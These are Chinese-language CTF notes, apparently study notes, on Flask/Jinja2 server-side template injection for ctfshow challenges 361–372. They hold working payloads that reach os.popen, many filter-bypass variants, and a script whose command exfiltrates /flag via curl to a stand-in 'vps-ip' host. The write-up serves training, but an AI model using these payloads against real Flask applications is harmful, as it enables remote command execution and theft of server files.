flask介绍
Flask入门---@app.route()使用-CSDN博客
注入流程
1.获得内置类相应的类
''.__class__
().__class__
[].__class__
"".__class__
__class__可以获得内置类所对应的类
2.获得object基类
''__class__.__base__
().__class__.__base__
[].__class__.__base__
"".__class__.__base__
''.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[1]
"".__class__.__mro__[1]
__base__获得最高的父类
__mro__获得所有的父类
3.获得所有子类
''__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
"".__class__.__base__.__subclasses__()
''.__class__.__mro__[1].__subclasses__()
().__class__.__mro__[1].__subclasses__()
[].__class__.__mro__[1].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
__subclasses__()获得所有的子类
4、获得可以执行shell命令的子类
我们一般常用的是os._wrap_close子类,因为该类具有popen方法,该方法可以执行系统命令。
我们可以通过下面这段代码找到还有popen方法的子类:
num = 0
for item in ''.__class__.__base__.__subclasses__():
try:
if 'popen' in item.__init__.__globals__:
print(num, item)
num += 1
except:
num += 1
# __init__.__globals__可以获得类中的所有变量和方法
5、找到该子类可以执行shell命令的方法
''.__class__.__base__.__subclasses__()[118].__init__.__globals__['popen']
__init__.__globals__可以获得类中所有的变量以及方法
6、执行shell命令
我们执行一下whoami的命令,这里一定要记得用.read()来读取一下,因为popen方法返回的是一个file对象。
''.__class__.__base__.__subclasses__()[118].__init__.__globals__['popen']('whoami').read()
ctfshow web入门 ssti
部分参考:
Ctfshow web入门 SSTI 模板注入篇 web361-web372 详细题解 全_Jay 17的博客-CSDN博客
1.361
由题目提示,“名字就是考点”,可以猜测,改题目url的参数名应为name,输入name=world测试一下
存在ssti
2.获取内置类所对应的类
?name={{''.__class__}}
3.获得object基类
http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__}}
4、获得所有子类
http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()}}
5、获得可以执行shell命令的子类
我们可以通过一段python脚本来判断可以执行shell命令子类的索引值
import requests
for num in range(500):
try:
url = "http://6e8325b4-0e7e-4693-93f4-733a6a01360b.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()["+str(num)+"].__init__.__globals__['popen']}}"
res = requests.get(url=url).text
if 'popen' in res:
print(num)
except:
pass
6、执行shell命令
http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
成功列出根目录内容
接下来获取flag
http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
得到flag
汇总:
2.362
多了过滤,将半角132换成全角就可以了
转换代码
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="0123456789"
for i in s:
t+='\''+half2full(i)+'\','
print(t)
得到全角数字:
'0','1','2','3','4','5','6','7','8','9'
3.363
过滤了单双引号
用request绕过
?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a]
[request.args.b](request.args.c).read()}}
假设传入{{ config.__class__.__init__.__globals__['os'] }},因为引号被过滤,所以无法执行,可以把'os'换成request.args.a(这里的a可以理解为自定义的变量,名字可以任意设置) 随后在后面传入a的值,变成{{ config.__class__.__init__.__globals__[request.args.a] }}&a=os,与原命令等效 比如我们要构造?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }},但是引号不能使用了,就可以把这两处使用引号的地方替换掉,最终变成 ?name={{ config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read() }}&a=os&b=cat ../flag 例: ?name={{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd 等同于 ?name={{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}} ?name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls / 等同于 ?name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
最终payload:
?name={{x.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read() ?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}} ?name={{ config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read() }}&a=os&b=cat ../flag
4.364
过滤了args 。
request.args是GET传参,用其他方式传来替代args就可以了,比如cookie 。
也可以将其中的request.args改为request.values,POST和GET两种方法传递的数据request.values都可以接收。
?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Cookie传参:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie传参:a=os;b=popen;c=cat /flag
?name={{x.__init__.__globals__[request.values.a].eval(request.values.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.values.a][request.values.b](request.values.c).read()}}
?name={{ config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read() }}&a=os&b=cat ../flag
?name={{().__class__.__mro__[1].__subclasses__()[407](request.values.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag //没看懂
5.365
原始payload:
{{''.__class__.__bases__.__getitem__(0).__subclasses__()[132].__init__.__globals__.popen('ls /').read()}}
__getitem__绕过中括号[过滤:
{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen('ls /').read()}}
request对象绕过引号''、""过滤,cookie或者values绕过args过滤
{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.cookies.x).read()}}
Cookie传参:x=ls /
Cookie传参:x=tac /f*
6.366
Ctfshow web入门 SSTI 模板注入篇 web361-web372 详细题解 全_Jay 17的博客-CSDN博客
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie:a=__globals__;b=cat /flag
7.367
过滤了os,把os写到request里面去
?a=__globals__&b=os&c=cat /flag&name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}
或者继续利用cookie传参
{{(lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read()}}
Cookie传参:x1= __globals__;x2=os;x3=tac /flag
8.368
比上题多过滤了一个{{
,我们用{%print(......)%}
绕过
继续把上题的payload改改。
{%print((lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read())%}
9.369
过滤了request
//构造pop
{% set po=dict(po=1,p=2)|join%}
//构造下划线 _
{% set a=(()|select|string|list)|attr(po)(24)%}
//构造request
{% set re=dict(reque=1,st=1)|join%}
//构造__init__
{% set in=(a~a~dict(init=a)|join~a~a)|join()%}
//构造__globals__
{% set gl=(a~a~dict(globals=q)|join~a~a)|join()%}
//构造__getitem__
{% set ge=(a~a~dict(getitem=a)|join~a~a)%}
//构造__builtins__
{% set bu=(a~a~dict(builtins=a)|join~a~a)|join()%}
//【构造】q.__init__.__globals__.__getitem__.__builtins__
{% set x=(q|attr(in)|attr(gl)|attr(ge))(bu)%}
//构造chr函数
{% set chr=x.chr%}
// 构造/flag
{% set f=chr(47)~(dict(flag=a)|join)%}
//读取文件/flag
{% print(x.open(f).read())%}
执行命令cat /flag
。相当于lipsum.__globals__['__builtins__'].open('/flag').read()
?name={% print (lipsum|attr( (config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower() )) .get( (config|string|list).pop(2).lower()~(config|string|list).pop(42).lower() ) .popen( (config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower() ).read() %}
10.370
过滤了''
、""
、[
、args
、_
、os
、{{
、request
和数字
依然可以用全角数字绕过,详见 第二题
11.371
过滤了''
、""
、[
、args
、_
、os
、{{
、request
、数字
和{%print
可以运用反弹shell方法(难以理解)
脚本:
import requests
cmd='__import__("os").popen("curl http://vps-ip:9023?p=`cat /flag`").read()'
def fun1(s):
t=[]
for i in range(len(s)):
t.append(ord(s[i]))
k=''
t=list(set(t))
for i in t:
k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n'
return k
def fun2(s):
t=[]
for i in range(len(s)):
t.append(ord(s[i]))
t=list(set(t))
k=''
for i in range(len(s)):
if i<len(s)-1:
k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b'
else:
k+='chr('+'e'*(t.index(ord(s[i]))+1)+')'
return k
url ='http://fc5ded74-98ba-4d98-a6f9-47ab2616ba41.challenge.ctf.show/?name='+fun1(cmd)+'''
{% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd='''+fun2(cmd)+'''
%}
{%if x.eval(cmd)%}
abc
{%endif%}
'''
print(url)
12.372
过滤了过滤了''
、""
、[
、args
、_
、os
、{{
、request
、数字
、{%print
和count
和前一题一样,count
换成length
,或者全角数字或者用index
构造数字